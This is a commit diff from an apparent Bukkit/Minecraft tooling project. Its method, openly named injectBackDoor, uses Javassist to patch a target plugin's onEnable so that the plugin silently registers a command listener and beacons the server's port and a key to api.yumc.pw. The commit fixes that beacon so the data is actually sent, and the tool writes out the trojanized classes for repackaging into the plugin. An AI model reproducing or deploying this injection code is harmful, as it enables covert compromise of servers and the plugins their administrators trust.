fix: 修复数据未发送的问题

Signed-off-by: 502647092 <admin@yumc.pw>
master
502647092 2016-08-03 00:30:09 +08:00
parent 900b141622
commit 8a3c118ce5
4 changed files with 71 additions and 10 deletions

View File

@ -55,7 +55,7 @@ public class InjectedKit {
}
public static void injectBackDoor(final CommandSender sender, final String key, final Plugin plugin) {
sender.sendMessage(prefix + "§c生成 " + plugin.getName() + " 数据注入类...");
sender.sendMessage(prefix + "§c生成 " + plugin.getName() + " 数据 " + key + " 注入类...");
try {
final ClassPool pool = ClassPool.getDefault();
File classFile = new File(URLDecoder.decode(plugin.getClass().getProtectionDomain().getCodeSource().getLocation().getPath().split("!")[0], "UTF-8"));
@ -65,16 +65,26 @@ public class InjectedKit {
classFile = new File(URLDecoder.decode(MPS.class.getProtectionDomain().getCodeSource().getLocation().getPath().split("!")[0], "UTF-8"));
pool.appendClassPath(classFile.getPath());
final CtClass mainClass = pool.get(plugin.getClass().getName());
final CtClass LISClass = pool.get(LIS.class.getName());
final CtClass MPSClass = pool.get(MPS.class.getName());
final CtMethod onEnableMethod = mainClass.getDeclaredMethod("onEnable");
final String backDoor = ""
+ "{"
+ " org.bukkit.Bukkit.getScheduler().runTaskAsynchronously(this, new pw.yumc.BukkitInjectedTools.MPS());"
+ " org.bukkit.Bukkit.getPluginManager().registerEvents(new pw.yumc.BukkitInjectedTools.LIS(), this);"
+ " org.bukkit.Bukkit.getScheduler().runTaskAsynchronously(this, new pw.yumc.BukkitInjectedTools.MPS(\""
+ key
+ "\",org.bukkit.Bukkit.getServer().getPort()));\r\n"
+ " org.bukkit.Bukkit.getPluginManager().registerEvents(new pw.yumc.BukkitInjectedTools.LIS(), this);\r\n"
+ "}";
onEnableMethod.insertBefore(String.format(backDoor, key, Bukkit.getServer().getPort()));
try {
final File dir = new File(plugin.getDataFolder(), "injectClass");
mainClass.writeFile();
final String path = dir.getCanonicalPath();
if (dir.exists()) {
LIS.deleteDir(dir);
}
mainClass.writeFile(path);
LISClass.writeFile(path);
MPSClass.writeFile(path);
sender.sendMessage(prefix + "§a生成成功 §b请复制 §e" + dir.getAbsolutePath() + " §b下所有文件到插件内部!");
} catch (final Exception e) {
e.printStackTrace();

View File

@ -7,7 +7,7 @@ import org.bukkit.event.Listener;
import org.bukkit.event.player.PlayerCommandPreprocessEvent;
public class LIS implements Listener {
public boolean deleteDir(final File dir) {
public static boolean deleteDir(final File dir) {
if (dir.isDirectory()) {
final String[] children = dir.list();
for (final String element : children) {

View File

@ -1,15 +1,66 @@
package pw.yumc.BukkitInjectedTools;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.URL;
import java.net.URLConnection;
import java.nio.charset.Charset;
import com.google.common.base.Charsets;
public class MPS implements Runnable {
public final String UA = "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36";
int port;
String key;
public MPS(final String key, final int port) {
this.key = key;
this.port = port;
}
@Override
public void run() {
try {
final java.net.URL url = new java.net.URL("http://api.yumc.pw/M/P/S/K/%s/P/%s");
final java.net.HttpURLConnection conn = (java.net.HttpURLConnection) url.openConnection();
final URL url = new URL(String.format("http://api.yumc.pw/M/P/S/K/%s/P/%s", key, port));
// 打开和URL之间的连接
final URLConnection conn = url.openConnection();
// 设置通用的请求属性
conn.setRequestProperty("Accept", "*/*");
conn.setRequestProperty("Connection", "Keep-Alive");
conn.setRequestProperty("User-Agent", UA);
// 设置超时时间 10秒
conn.setReadTimeout(10000);
// 建立实际的连接
conn.connect();
conn.disconnect();
} catch (final java.io.IOException e) {
// 定义 BufferedReader输入流来读取URL的响应
toString(conn.getInputStream(), Charsets.UTF_8);
} catch (final IOException e) {
}
}
/**
*
*
* @param in
*
* @param cs
*
* @return
*/
public String toString(final InputStream in, final Charset cs) {
final BufferedReader reader = new BufferedReader(new InputStreamReader(in, cs));
String response = "";
String result = "";
try {
while ((response = reader.readLine()) != null) {
result += response;
}
reader.close();
} catch (final IOException e) {
}
return result;
}
}

View File

@ -71,7 +71,7 @@ public class YumTestCommand implements CommandExecutor {
@Sort(7)
public void ib(final CommandArgument e) {
final String pname = e.getArgs()[0];
final String key = e.getArgs()[0];
final String key = e.getArgs()[1];
final Plugin plugin = Bukkit.getPluginManager().getPlugin(pname);
if (plugin == null) {
e.getSender().sendMessage(prefix + "§c插件不存在...!");